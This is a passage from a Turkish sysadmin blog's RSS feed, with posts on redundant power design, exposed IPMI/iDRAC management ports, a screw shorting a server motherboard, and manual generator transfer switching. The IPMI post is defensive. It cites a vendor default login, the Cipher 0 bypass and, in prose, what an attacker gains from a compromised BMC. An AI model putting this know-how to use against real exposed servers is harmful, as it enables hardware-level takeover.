<li>Ya da biri aktif (<code>%100</code>), diğeri pasif/standby (<code>%0</code>) bekler.</li>
</ul>
<p>Şimdi kabininizdeki PDU-A ve PDU-B'nin durumunu düşünün. Kabinde 20 adet 2U sunucu var. Her sunucu normalde 400 Watt güç çekiyor.<br>
Eşit yük paylaşımı modunda:</p>
<ul>
<li>PSU 1 (PDU-A): Her sunucudan 200 Watt çekiyor. Toplam: 4.000 Watt (yaklaşık 17.4 Amper).</li>
<li>PSU 2 (PDU-B): Her sunucudan 200 Watt çekiyor. Toplam: 4.000 Watt (yaklaşık 17.4 Amper).</li>
</ul>
<p>PDU'larınız 20 Amperliktir ve mühendis bakar: <em>"Harika, PDU-A 17.4A çekiyor, PDU-B 17.4A çekiyor, sınırın altındayız, her şey güvenli."</em></p>
<p>İşte ölümcül matematik tam burada pusuya yatar!<br>
Bir gün PDU-A'nın beslemesi kesilirse veya A tarafının sigortası atarsa ne olur?<br>
O 20 sunucunun PSU 2'leri bir milisaniye içinde tüm yükü tek başlarına üstlenir!<br>
Sunucu başına çekilen güç 200W'tan 400W'a fırlar. PDU-B üzerindeki toplam akım aniden 17.4 Amperden <strong>34.8 Ampere</strong> sıçrar!</p>
<p>Sonuç? 20 Amperlik PDU-B sigortası anında "GÜM" diye atar!<br>
A hattı kesildiği için hayatta kalması gereken sistem, B hattına binen ani aşırı yük (inrush &#x26; full load) yüzünden B hattının da sigortasını attırarak tüm kabini yerle bir eder.</p>
<p>Bir hattın kapasitesini hesaplarken, o hattın tek başına <strong>kabin içindeki tüm sistemlerin yüzde yüz yükünü taşıyabileceğinden</strong> emin değilseniz; sizin bir yedek hattınız yoktur, sadece aşırı yüke kurban edilmeyi bekleyen bir kurbanınız vardır.</p>
<hr>
<h3>Gerçek A+B Mimarisi Nasıl Olmalıdır?</h3>
<p>Gerçek ve tavizsiz bir elektriksel yedeklilik, satın alma broşürlerindeki etiketlerle değil, beton ve bakırın fiziksel ayrılığıyla inşa edilir:</p>
<ol>
<li><strong>Tamamen Bağımsız İki Güç Yolu (Dual Path):</strong> A hattı; Şebeke 1 -> Jeneratör 1 -> ATS 1 -> UPS Grubu A -> Dağıtım Panosu A -> Kabin PDU-A rotasını izlemelidir. B hattı ise; Şebeke 2 -> Jeneratör 2 -> ATS 2 -> UPS Grubu B -> Dağıtım Panosu B -> Kabin PDU-B rotasından gelmelidir. Bu iki hattın tek bir vidası veya ortak barası dahi olmamalıdır.</li>
<li><strong>Kapasite Sınırı (%40 Kuralı):</strong> Bir PDU'ya bağlanan yük, nominal kapasitenin asla yüzde 40'ını aşmamalıdır. Böylece diğer hat tamamen çöktüğünde ve tüm yük tek PDU'ya bindiğinde akım yüzde 80'i geçmez ve sigorta atma riski sıfırlanır.</li>
<li><strong>Periyodik Kesme Testi (Pull the Plug):</strong> Gerçek yedeklilik, yılda en az bir kez planlı bakımda ana A panosunun şalteri küt diye indirilerek test edilir. O şalter indiğinde tek bir sunucunuz bile yeniden başlıyorsa, mimarinizde bir yerlerde ortak bir trakea tıkanıklığı var demektir.</li>
</ol>
<p>Tıpta hastanın iki böbreği olması harika bir güvencedir; ama doktor her iki böbreğin kan damarlarını ayrı ayrı kontrol eder.</p>
<p>Siz de sunucunuzun arkasındaki o iki fişe güvenip arkanıza yaslanmayın. Yükseltilmiş tabanı kaldırın, kabloları takip edin ve o iki kablonun nerede aynı kuyuya düştüğünü bulun. Yoksa o kuyunun kapağı ilk fırtınada üzerinize kapanacaktır.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>Veri Merkezi</category>
            <category>Güç Dağıtımı</category>
            <category>PDU</category>
            <category>UPS</category>
            <category>Altyapı</category>
            <category>SysAdmin</category>
            <category>Donanım</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/redundant-power-cift-guc-kaynagi-illuzyonu-ve-tek-pano-falakasi-sahte-ab-guvenligi/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["IPMI / iDRAC" Arayüzünün Güvenlik Zaafı: Dışarıya Açık Yönetim Portlarının Dehşeti]]></title>
            <link>http://localhost:3000/blog/post/ipmi--idrac-arayuzunun-guvenlik-zaafi-disariya-acik-yonetim-portlarinin-dehseti</link>
            <guid>ipmi--idrac-arayuzunun-guvenlik-zaafi-disariya-acik-yonetim-portlarinin-dehseti</guid>
            <pubDate>Fri, 29 May 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Sistem yöneticilerinin tembellikle internete (Public IP) açtığı iDRAC, iLO ve IPMI yönetim arayüzleri; Shodan üzerinde savunmasız bekleyen sunucular ve tek bir tıkla donanım seviyesinde ele geçirilen altyapılar.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/ipmi--idrac-arayuzunun-guvenlik-zaafi-disariya-acik-yonetim-portlarinin-dehseti/thumbnail" alt=""> Hastanelerin en hassas, en steril alanları yoğun bakım ve yeni doğan üniteleridir. Ana girişte parmak izi okuyucular, manyetik kilitler, güvenlik kameraları ve nöbetçi güvenlik personeli bekler. İçeriye galoşsuz, önlüksüz, kartsız kimse giremez. Güvenlik görünüşte kusursuzdur.</p>
<p>Fakat o yoğun bakımın yangın tahliye koridoruna giderseniz, genellikle acı bir sahneyle karşılaşırsınız: Yangın merdiveninin ağır çelik kapısının altına personelin biri tarafından bir takoz veya kırık bir süpürge sapı sıkıştırılmıştır. Neden? Çünkü nöbetçi hemşire veya temizlik görevlisi bahçeye hava almaya veya sigara içmeye çıkarken her seferinde kart basmakla, üç kat dolaşmakla uğraşmak istememiştir. Bir kişinin beş saniyelik "konforu" uğruna, o hastanenin en hassas yaşam destek ünitesi sokaktan geçen herkesin elini kolunu sallayarak girebileceği açık bir meydana dönüşmüştür.</p>
<p>Siber güvenlik ve kurumsal BT dünyasında da tam olarak bu süpürge sapı vakasını temsil eden, görünce her güvenlik uzmanının saçını başını yolduran ölümcül bir gaflet vardır: <strong>IPMI, iDRAC ve iLO Portlarını Doğrudan Genel İnternete (Public IP) Açmak.</strong></p>
<hr>
<h3>Ön Kapıda Çelik Kalkan, Arka Kapıda Tahta Mandal</h3>
<p>Modern bir kurumun bilgi güvenliği mimarisine baktığınızda gözleriniz kamaşır:</p>
<ul>
<li>Ön cephede milyonlarca liralık Next-Generation Firewall (Palo Alto, Fortinet),</li>
<li>Web trafiği için Cloudflare WAF, DDoS koruma filtreleri,</li>
<li>Sunucu işletim sisteminde sıfır toleranslı SELinux, SSH için çift faktörlü doğrulama (2FA), IP kısıtlamaları.</li>
</ul>
<p>Mühendisler ön kapıyı adeta Fort Knox zırhıyla kaplamıştır.<br>
Fakat aynı sistem yöneticisi, gece evinde pijamalarıyla Netflix izlerken sunucu kilitlenirse "Ofise VPN ile bağlanmak, oradan Jump Host'a sıçramak kim uğraşacak şimdi?" der. Sunucunun Dell iDRAC veya HP iLO yönetim portuna doğrudan genel bir IPv4 bloğundan adres verir (<code>185.x.x.x</code> veya <code>212.x.x.x</code>), firewall üzerinden 443 (HTTPS) ve 623 (IPMI UDP) portlarını tüm dünyaya (<code>0.0.0.0/0</code>) açar!</p>
<p>Ve böylece, ön kapısına tank savar füzeleri yerleştirdiği kalenin arka mutfak kapısının anahtarını sokak ortasındaki paspasın altına koymuş olur.</p>
<hr>
<h3>Shodan'da Açık Büfe: Cipher 0 ve Tarih Öncesi Firmware'ler</h3>
<p>Bir sistem yöneticisinin anlamakta en çok zorlandığı gerçek şudur: İnternete bağlanan bir IP adresi asla "gizli" kalamaz.</p>
<p>Siz o portu açtıktan en fazla on dakika sonra Shodan, Censys veya Çin ve Rus kaynaklı otomatik botnet tarayıcıları o IP'yi keşfeder. Karşılarında Dell'in veya HP'nin login sayfasını gördükleri an, saldırganlar için bayram başlar.</p>
<p>Çünkü sunucuların bu yerleşik yönetim kartları (BMC - Baseboard Management Controller) güvenlik açısından tam bir saatli bombadır:</p>
<ol>
<li><strong>Yıllarca Güncellenmeyen Firmware:</strong> Sunucunun işletim sistemine (Ubuntu, RedHat, Windows) her hafta güvenlik yamaları geçilir. Ama anakartın üzerindeki o küçük BMC çipinin firmware'i genellikle sunucu fabrikadan çıktığı günkü haliyle kalır! Sekiz yıldır güncellenmemiş bir iDRAC 7 veya iLO 4 arayüzü, kamuya açık onlarca uzaktan kod çalıştırma (RCE) zafiyetiyle doludur.</li>
<li><strong>Cipher 0 Felaketi:</strong> IPMI 2.0 protokolünün tasarımında var olan meşhur "Cipher 0" açığı, kimlik doğrulamayı tamamen devre dışı bırakarak saldırganın hiçbir şifre girmeden yönetim haklarını almasına olanak tanır.</li>
<li><strong>Varsayılan ve Zayıf Şifreler:</strong> Hala internet üzerinde binlerce sunucuda kullanıcı adı ve şifre <code>root / calvin</code> (Dell) veya <code>Administrator / [kasa etiketindeki ilk şifre]</code> olarak durmaktadır.</li>
<li><strong>Kaba Kuvvet (Brute-Force) Korumasızlığı:</strong> Çoğu eski BMC arayüzünde modern web uygulamalarındaki gibi gelişmiş rate-limiting veya account lockout mekanizmaları düzgün çalışmaz; saldırgan milyonlarca şifre denemesini arka arkaya rahatlıkla gönderebilir.</li>
</ol>
<hr>
<h3>Bir iDRAC Ele Geçirilirse Ne Olur? (Spoiler: Her Şey Biter)</h3>
<p>Pek çok yönetici iDRAC'ı sadece "sunucunun sıcaklığına bakan, fan hızını ayarlayan basit bir gösterge paneli" zanneder. Oysa bir sunucunun yönetim kartını ele geçiren bir saldırgan, işletim sistemindeki root veya Administrator kullanıcısından <strong>katbekat daha yetkilidir.</strong></p>
<p>Saldırgan o arayüze girdiği anda:</p>
<ul>
<li><strong>Sanal Konsolu (HTML5 / Java KVM) Açar:</strong> Ekranda işletim sisteminin konsolunu canlı olarak görür. Fiziksel olarak sunucunun başına oturmuş, monitör ve klavye bağlamış gibidir.</li>
<li><strong>Sanal Medya (Virtual Media) Bağlar:</strong> İşletim sisteminin disk şifrelemesi (BitLocker, LUKS) mi var? Hiç problem değil! Kendi sunucusundaki kötü amaçlı bir Live ISO dosyasını iDRAC'a sanal CD-ROM olarak bağlar.</li>
<li><strong>Fiziksel Gücü Yönetir:</strong> Sunucuyu uzaktan kapatır, BIOS ayarlarına girer, önyükleme sırasını (boot order) değiştirir ve sunucuyu kendi bağladığı ISO üzerinden başlatır.</li>
<li><strong>Tüm Diski Ham Olarak Siler veya Şifreler:</strong> İşletim sistemindeki hiçbir antivirüs, EDR veya SIEM ajanı bu durumdan haberdar bile olamaz; çünkü işletim sistemi zaten hiç açılmamıştır! Saldırgan donanım düzeyinde diski ham (raw) olarak şifreler veya fidye yazılımını doğrudan hipervizöre enjekte eder.</li>
<li><strong>Kalıcı Donanım Arka Kapısı (Hardware Rootkit):</strong> Daha da kötüsü; saldırgan BMC çipine modifiye edilmiş zararlı bir firmware yükler (brick veya persistent backoor). Siz sunucuya elli defa format atsanız, diskleri sıfırdan taksanız bile o arka kapı anakartın silikonunda yaşamaya devam eder!</li>
</ul>
<hr>
<h3>Yönetim Ağını Korumanın Değişmez Kuralları</h3>
<p>Eğer sistem odanızdaki sunuculardan tek bir tanesinin bile iDRAC/iLO portu internete bakıyorsa, şu an bu yazıyı okumayı bırakıp derhal o kabloyu çekmeniz veya o kuralı silmeniz gerekir.</p>
<p>Yönetim katmanında güvenlik şu katı kurallarla sağlanır:</p>
<ul>
<li><strong>Sıfır Public IP (Zero Exposure):</strong> Hiçbir BMC, iDRAC, iLO veya IPMI arayüzüne genel (Public) IP verilmez. Bu arayüzler sadece ve sadece <code>10.x.x.x</code> veya <code>172.16.x.x</code> gibi özel (RFC 1918) yerel ağ bloklarında yaşayabilir.</li>
<li><strong>İzole Yönetim VLAN'ı ve Donanımsal Ayrım:</strong> OOB portları prodüksiyon switch'lerine değil, sadece yönetim için ayrılmış izole switch'lere bağlanmalıdır.</li>
<li><strong>Mecburi İki Kademeli Erişim (VPN + Jump Host):</strong> Yönetim ağına evden veya dışarıdan erişmek isteyen mühendis; önce kurumsal VPN ağ geçidinden MFA (çok faktörlü doğrulama) ile geçmeli, ardından sadece yönetim ağına erişim izni olan kısıtlı bir atlama sunucusuna (Jump Host / Bastion Host) bağlanmalıdır.</li>
<li><strong>IPMI Protokolünü Sınırlandırmak:</strong> Kullanılmıyorsa IPMI over LAN protokolü kapatılmalı, yalnızca modern ve güvenli HTTPS / Redfish API standartları aktif tutulmalıdır.</li>
</ul>
<p>Tıpta steril alana giden yangın merdiveninin altına takoz koyan personeli anında görevden uzaklaştırırlar; çünkü hastaların hayatı o personelin sigara molasından daha değerlidir.</p>
<p>Veri merkezinde de "üç tık az yapayım" diye iDRAC'ı internete açan sistem yöneticisi, şirketinin tüm dijital varlıklarını Shodan'daki açık artırma masasına meze yapan bir felaket habercisidir. Güvenlikte konfor arayışı, daima felaketin sponsorudur.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>iDRAC</category>
            <category>iLO</category>
            <category>IPMI</category>
            <category>Siber Güvenlik</category>
            <category>Ağ Güvenliği</category>
            <category>Shodan</category>
            <category>SysAdmin</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/ipmi--idrac-arayuzunun-guvenlik-zaafi-disariya-acik-yonetim-portlarinin-dehseti/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Sunucu Kasasında "Vida Ararken": Anakartın Üzerine Düşen İki Milimetrelik Kıyamet]]></title>
            <link>http://localhost:3000/blog/post/sunucu-kasasinda-vida-ararken-anakartin-uzerine-dusen-iki-milimetrelik-kiyamet</link>
            <guid>sunucu-kasasinda-vida-ararken-anakartin-uzerine-dusen-iki-milimetrelik-kiyamet</guid>
            <pubDate>Thu, 28 May 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Daracık 1U sunucu kasasının derinliklerine yuvarlanan küçük bir metal vidanın yarattığı soğuk terler; ameliyathanedeki cerrahi sayım disiplini ve gözden kaçan tek bir parçanın yaktığı binlerce dolarlık anakart.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/sunucu-kasasinda-vida-ararken-anakartin-uzerine-dusen-iki-milimetrelik-kiyamet/thumbnail" alt=""> Cerrahi operasyonların en gergin, en tavizsiz anı ameliyatın bittiği ve hastanın kapatılacağı andır. Cerrah son dikişi atmadan önce ameliyathane sorumlu hemşiresi tok ve yüksek bir sesle sayıma başlar: <em>"Yirmi adet kompres, on iki adet klemps, sekiz adet bistüri ucu, on adet sütur iğnesi... Sayım tam!"</em></p>
<p>Tıpta buna "cerrahi alet ve gazlı bez sayımı" denir. Eğer tek bir gazlı bez veya kırık bir iğne ucu eksik çıkarsa; cerrah hastayı kapatamaz. Ameliyathanenin ışıkları altında, hasta narkozdayken dakikalarca o 3 santimlik pamuk parçası veya metal iğne aranır, gerekirse ameliyat masasında portatif röntgen çekilir. Çünkü vücut içinde unutulan küçücük bir metal parçası ("gossypiboma"), ameliyat ne kadar başarılı geçmiş olursa olsun, haftalar sonra hastanın içinde devasa apselere, organ delinmelerine ve septik şoka yol açarak o insanı öldürür.</p>
<p>Sunucu bakımında, veri merkezi koridorlarında ve laboratuvar tezgahlarında da tam olarak cerrahın o soğuk terlerini döktüren, donanım mühendislerinin kabuslarına giren mikroskobik bir felaket senaryosu vardır: <strong>1U Kasanın İçine Düşen ve Kaybolan Vida.</strong></p>
<hr>
<h3>"Tık... Tık... Çıt..." O Ses Duyulduğu An</h3>
<p>Saat gece 02:45. Şirketin en kritik hipervizör sunucusuna ilave bir M.2 NVMe SSD veya PCIe Gen5 ekran kartı takmak üzere sunucuyu kabin rayından dışarı çekmişsinizdir. Kasanın üst kapağını açarsınız.</p>
<p>1U sunucuların (sadece 4.4 santimetre yükseklik) içi, modern mühendisliğin sınırlarını zorlayan bir yoğunluk harikasıdır. 8 adet devasa jet fan, iki dev bakır soğutucu blok, 32 adet DDR5 RAM slotu, onlarca VRM (voltaj regülatör modülü) bobini ve yüz binlerce mikroskobik yüzey montaj elemanı (SMD kondansatörler ve dirençler) birbirine santimetrenin onda biri mesafede sıkıştırılmıştır.</p>
<p>Elinizde manyetik ucu zayıflamış veya manyetiksiz sıradan bir yıldız tornavida vardır. M.2 diskin o minicik, iki milimetrelik sabitleme vidasını iki parmağınızın ucuyla deliğe denk getirmeye çalışırsınız.</p>
<p>Parmaklarınız hafifçe titrer. Ve o an gerçekleşir.<br>
Vida parmaklarınızın arasından kayar.<br>
<em>Tık... Tık... Pıt.</em></p>
<p>O ses, bir donanımcının duyabileceği en ürpertici sestir. Vida düşmüştür; ama nereye?</p>
<hr>
<h3>Kendini Kandırma Evresi: "Herhalde Yere Düşmüştür"</h3>
<p>İlk beş dakika panik içinde telefonun flaşını açar, anakartın üzerine doğrultursunuz. PCIe slotlarının arasına bakarsınız, RAM mandallarının altını tararsınız, fan yuvalarının ızgaralarına göz atarsınız. Vida hiçbir yerde yoktur.</p>
<p>Sonra o meşhur fiziksel debelenme başlar:</p>
<ul>
<li>25 kiloluk sunucuyu iki elinizle tutup havaya kaldırır, hafifçe sağa sola sallarsınız. İçeriden herhangi bir tıkırtı sesi duymaya çalışırsınız. Ses gelmez.</li>
<li>Kasanın altına, yükseltilmiş tabanın deliklerine, masanın ayaklarının dibine bakarsınız. Yerde de hiçbir şey yoktur.</li>
<li>Cımbız alıp soğutucu blokların arasına sokarsınız, yok.</li>
</ul>
<p>Ve tam bu noktada, beynin en tehlikeli savunma mekanizması devreye girer: <strong>İnkar ve Sahte İyimserlik.</strong><br>
Mühendis kendi kendine fısıldar: <em>"Yahu kesin düşerken kasanın dışına sekti, yerdeki ızgaranın arasına kaçtı. Anakartta olsa görürdüm zaten. Kapatayım kapağı, sabah bakarız."</em></p>
<p>İşte bu cümle, beş bin dolarlık bir kurumsal sunucunun idam fermanıdır.</p>
<hr>
<h3>Güç Kablosu Takıldığı An: 12 Volt ile 1.2 Voltun Dansı</h3>
<p>Vida yere düşmemiştir. O iki milimetrelik nikel kaplı metal parçası, anakartın en can alıcı noktalarından birine —örneğin işlemciye saf 1.2V çekirdek voltajı sağlayan VRM devrelerinin 12V ana giriş hattının hemen altındaki iki mikroskobik lehim bacağının arasına— mükemmel bir köprü kuracak şekilde yerleşmiştir.</p>
<p>Kasanın kapağını vidalarsınız. Sunucuyu rafa geri itersiniz. Arkasındaki iki adet 80-Plus Platinum güç kaynağının C14 fişlerini prize takarsınız.</p>
<p>Sunucunun açma-kapama butonuna basmanıza bile gerek yoktur; çünkü modern sunucularda güç kablosu takıldığı anda anakarta "Standby Power" (3.3V / 5V Aux) ve ana voltaj hatları anında enerji pompalar.</p>
<p>Ve o an:<br>
<strong>"ÇAZZZZ!"</strong></p>
<p>Göz açıp kapayıncaya kadar süren bir kıvılcım parlaması. Ardından fanların hafifçe inleyip susması ve kasanın arka ızgaralarından yükselen o unutulmaz, genzi yakan, insanın içini acıtan ekşi koku: <strong>Yanmış silikon ve kavrulmuş epoksi kokusu.</strong></p>
<p>O iki milimetrelik vida; 12 Volt yüksek akım hattını, doğrudan işlemcinin mikroskobik transistörlerine bağlanan hassas veri yollarına köprülemiştir. Akım ters yönden anakartın iç katmanlarına yürümüş, bakır yolları eritmiş, VRM kontrol çipini patlatmış ve işlemcinin çekirdeğini saniyeler içinde kömüre çevirmiştir.</p>
<p>Anakart ölmüştür, işlemciler yanmıştır, bellekler zarar görmüştür. Zarar: On binlerce dolar ve günlerce sürecek servis bekleme süresi.</p>
<hr>
<h3>Donanım Masasında Cerrahi Disiplin</h3>
<p>Bu felaketler "talihsiz bir kaza" değildir; doğrudan bir disiplin ve ekipman eksikliğidir. Bir sunucu kasası açıldığında uygulanması gereken katı kurallar şunlardır:</p>
<ol>
<li><strong>Manyetik Uçlu Doğru Aletler:</strong> Elektronik için özel üretilmiş kaliteli, mıknatısı güçlü hassas tornavidalar kullanın. Mıknatısın modern SSD ve anakartlara zarar vereceği efsanesi 1980'lerden kalma bir disket (floppy disk) hurafesidir. O vidayı tornavidanın ucunda sımsıkı tutan bir alet hayat kurtarır.</li>
<li><strong>Kayıp Parça Bulunmadan Asla Enerji Verilmez:</strong> Bir vida düştüyse ve bulunamadıysa; o kasa <strong>asla çalıştırılamaz.</strong> Gerekirse fan blokları sökülür, hava yönlendirici plastikler (air shroud) çıkarılır, anakart yerinden gevşetilir ve o vida gözle görülüp fiziksel olarak dışarı alınana kadar operasyon durdurulur. Cerrah kayıp kompresi bulmadan dikiş atmaz; sistemci de kayıp vidayı bulmadan fişi takamaz.</li>
<li><strong>Masa Dışı Parça Değişimi Yapılmamalıdır:</strong> Kabin rayı üzerinde, ayakta, karanlık koridorda M.2 vidası takmaya çalışmak felakete davetiyedir. Sunucu tamamen raydan çıkarılmalı, iyi aydınlatılmış, temiz ve antistatik bir çalışma masasına yatırılmalıdır.</li>
<li><strong>Yedek Plastik Tutucular:</strong> Güncel sunucu üreticileri (Dell, HPE, Lenovo) artık M.2 ve PCIe yuvalarında vidasız, plastik mandallı (tool-less latch) mekanizmalara geçmektedir. Eğer vida kullanmak zorundaysanız, vidanın düşmesini engelleyen yakalı (captive screw) modeller tercih edilmelidir.</li>
</ol>
<p>Tıpta ameliyat masasındaki bir dikkatsizlik bir hayatı söndürür.</p>
<p>Veri merkezinde de "alt tarafı küçücük bir vida" deyip geçtiğiniz o metal parçası, binlerce kullanıcının verisini taşıyan bir sunucunun kalbini anında durdurabilir. Fizik kanunları hafife almayı, ihmali ve aceleyi asla affetmez.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>Donanım</category>
            <category>Sunucu</category>
            <category>Bakım</category>
            <category>SysAdmin</category>
            <category>Veri Merkezi</category>
            <category>Anakart</category>
            <category>Saha Operasyonu</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/sunucu-kasasinda-vida-ararken-anakartin-uzerine-dusen-iki-milimetrelik-kiyamet/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Jeneratör Otomatik Devreye Girmedi": Manuel Transfer Şalteri ve Zamana Karşı Koşu]]></title>
            <link>http://localhost:3000/blog/post/jenerator-otomatik-devreye-girmedi-manuel-transfer-salteri-ve-zamana-karsi-kosu</link>
            <guid>jenerator-otomatik-devreye-girmedi-manuel-transfer-salteri-ve-zamana-karsi-kosu</guid>
            <pubDate>Wed, 27 May 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Şehir şebekesi çöktüğünde ATS (Otomatik Transfer Şalteri) takılı kalırsa ne olur? UPS aküleri dakikalar içinde erirken karanlık trafo dairesinde el feneri ve manivelayla verilen hayatta kalma savaşı.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/jenerator-otomatik-devreye-girmedi-manuel-transfer-salteri-ve-zamana-karsi-kosu/thumbnail" alt=""> Hastanede elektrikler kesildiğinde yoğun bakım ünitesinde yaşanan sahneyi bir kere gören bir insanın bunu ömrü boyunca unutması mümkün değildir.</p>
<p>Şehir şebekesi küt diye gittiğinde, koridordaki florasanlar söner ve loş acil aydınlatmalar devreye girer. Yatakların başındaki mekanik ventilatörler (solunum cihazları) tiz bir ikaz sesiyle dahili bataryalarına geçer. O bataryaların üzerinde kırmızı bir sayaç geri saymaya başlar: <em>Kalan Süre: 12 Dakika.</em></p>
<p>Normalde hastanenin dev dizel jeneratörünün sekiz saniye içinde marş basıp şebekeyi devralması gerekir. Ama ya o sekiz saniye geçer ve koridorlara o tanıdık jeneratör gümbürtüsü yerine mezar gibi bir sessizlik çökerse?</p>
<p>İşte o an teorik tıp biter; saf insan eforu başlar. Hekimler ve hemşireler koşarak hastaların başına üşüşür, ventilatörün hortumunu söküp ağızlarına "Ambu" dediğimiz manuel solunum balonunu takarlar ve elleriyle ritmik olarak sıkmaya başlarlar: <em>Bir... İki... Üç... Sık.</em> O balonlar elle sıkılırken, teknik servis ekibi merdivenleri üçer beşer atlayarak bodrumdaki jeneratör dairesine depar atar. Çünkü o akü bittiğinde ve jeneratör çalışmadığında, ambuyu sıkan el durursa hasta boğulacaktır.</p>
<p>Veri merkezi operasyonlarında ve kritik tesis yönetiminde de tam olarak bu ambu çaresizliğini yaşatan, mühendisin nabzını 180'e fırlatan korkunç bir kabus vardır: <strong>Otomatik Transfer Şalterinin (ATS) Takılı Kalması.</strong></p>
<hr>
<h3>Sekiz Saniyelik Lüks ve Başlayan Geri Sayım</h3>
<p>Büyük bir veri merkezinde şehir şebekesi (trafo) enerjisi kesildiği an, kabinlerdeki sunucular hiçbir şey hissetmez. Çünkü statik UPS (Kesintisiz Güç Kaynağı) sistemleri, devasa akü bankaları üzerinden mikro saniye düzeyinde yükü sırtlar.</p>
<p>Fakat UPS bir enerji üretim kaynağı değildir; o sadece bir "köprüdür". Akü odasındaki o tonlarca kurşun-asit veya lityum bataryanın kabinlerdeki binlerce sunucuyu besleme süresi genellikle tam yük altında <strong>10 ila 15 dakikadır.</strong></p>
<p>Tasarım gereği senaryo şudur:</p>
<ol>
<li>Şebeke gider (0. saniye).</li>
<li>UPS aküden beslemeye başlar (0. saniye).</li>
<li>Jeneratör kontrol paneli (DeepSea, ComAp vb.) şebekenin kesildiğini algılar, marş motoruna sinyal gönderir (3. saniye).</li>
<li>Dizel motor homurdanarak çalışır, 1500 devir/dakika (RPM) hızına ve 50 Hz frekansa oturur (8. saniye).</li>
<li>Ve en kritik adım: <strong>ATS (Automatic Transfer Switch - Otomatik Transfer Şalteri)</strong>, motorlu mekanizmasıyla şebeke kontaktörünü açar ve jeneratör kontaktörünü kapatır (10. saniye).</li>
</ol>
<p>Bina jeneratörden beslenmeye başlar, UPS aküleri şarj moduna geçer, herkes rahat bir nefes alır.</p>
<p>Peki ya o 10. saniyede ATS panosundan beklenen o tok "TARRKKK!" sesi gelmezse?</p>
<hr>
<h3>Mekanik Takılmanın Soğuk Dehşeti</h3>
<p>Veri merkezinin izleme ekranlarında (BMS / DCIM) kırmızı bir alarm yanıp sönmeye başlar:<br>
<code>CRITICAL: Utility Power Lost.</code><br>
<code>WARNING: Generator Running, No Load Detected.</code><br>
<code>BATTERY RUNTIME REMAINING: 09:42... 09:41...</code></p>
<p>Jeneratör bahçede deliler gibi kükremektedir; motor çalışıyordur, egzozdan duman çıkıyordur ama ürettiği o megavatlarca elektrik binaya girememektedir! Çünkü enerjiyi binaya aktaracak olan motorlu enversör şalterin mekanik dişlisi sıkışmıştır, bobini yanmıştır ya da yardımcı kontak rölesi tozdan kaynaklı temassızlık yapmıştır.</p>
<p>Zaman acımasızca akmaktadır: <em>Kalan akü süresi 7 dakika.</em></p>
<p>Kabin odasındaki yüz binlerce dolarlık işlemciler, veritabanları, bankacılık altyapıları akülerin son elektronlarını kana kana içmektedir. Akü bittiği an sunucular aniden kapanacak, storage'lar kütük gibi yere çakılacak, dosya sistemleri dağılacaktır.</p>
<p>Ve mühendis için tek bir kurtuluş yolu kalmıştır: <strong>Manuel Müdahale.</strong></p>
<hr>
<h3>Bodrum Katında Fener Işığında Manivela Savaşı</h3>
<p>Cebinizden telefonun fenerini açar, ana elektrik pano odasına doğru koşarsınız. Pano odasının ağır çelik kapısını açtığınızda yüzünüze çarpan o ozon ve sıcak trafo kokusu ciğerlerinizi yakar.</p>
<p>Karşınızda iki buçuk metre boyunda, devasa sacdan yapılmış gri ana dağıtım panosu (MDP) durur. Panonun üzerinde 1600 Amperlik, 3200 Amperlik devasa kompakt şalterler (ACB - Air Circuit Breaker) vardır.</p>
<p>ATS şalterinin göstergesine bakarsınız: Şebeke tarafı "OFF" (Açık), Jeneratör tarafı "OFF" (Açık). Mekanizma tam ortada, arafta takılı kalmıştır!</p>
<p>Süre: <em>Kalan akü süresi 4 dakika.</em></p>
<p>Panonun yanındaki askıdan o uzun, ağır, çelik kolu —manivelayı (charging handle)— kaparsınız.</p>
<ol>
<li>Şalterin mekanik kurma yuvasına sokarsınız.</li>
<li>Vücut ağırlığınızı vererek kolu aşağı yukarı pompalamaya başlarsınız: <em>Çat... Çat... Çat...</em> Mekanik yayı kurarsınız (Spring Charged). Gösterge sarıdan yeşile döner.</li>
<li>Şimdi o korkutucu kararı verme anıdır: Jeneratör tarafının mekanik "MANUAL CLOSE" butonuna basmak.</li>
</ol>
<p>Binlerce amperlik yükün aktığı bir şalteri elle kapatmak (trip/close) müthiş bir cesaret ister. Eğer içeride bir faz çakışması veya kısa devre varsa, gözünüzün önünde güneşi andıran bir ark patlaması (Arc Flash) meydana gelebilir. Yüzünüzü yana çevirir, gözlerinizi kısar ve o kırmızı butona olanca gücünüzle basarsınız:</p>
<p><strong>"GÜMMMM!"</strong></p>
<p>Odayı sarsan mekanik bir çekiç sesi. Şalter yerine oturur. Panodaki analog voltmetre ibreleri aniden 400 Volt'a fırlar. Bodrumdaki havalandırma fanları inleyerek dönmeye başlar.</p>
<p>Merdivenlerden yukarı koşup UPS odasına baktığınızda göstergeyi görürsünüz:<br>
<code>UPS Input: 400V (Generator) - AC Mode Active - Battery Charging.</code></p>
<p>Sistem kurtulmuştur; son 100 saniyede.</p>
<hr>
<h3>Otomasyonun Rehaveti ve Sahadaki Gerçekler</h3>
<p>Bu kabus hikayesi, ucuz aksiyon filmlerinden bir sahne değildir. Türkiye'deki ve dünyadaki yüzlerce veri merkezinde, hastanede ve kritik tesiste bizzat yaşanmış ve yaşanmakta olan bir operasyonel gerçekliktir.</p>
<p>Otomasyon muazzam bir lükstür, ancak insanı tembelleştirir. Mühendisler "Nasıl olsa ATS var, elektrik gidince kendi geçer" diyerek aylarca o mekanik şalterlerin yüzüne bakmazlar.</p>
<p>Oysa gerçek bir altyapı disiplini şunları gerektirir:</p>
<ul>
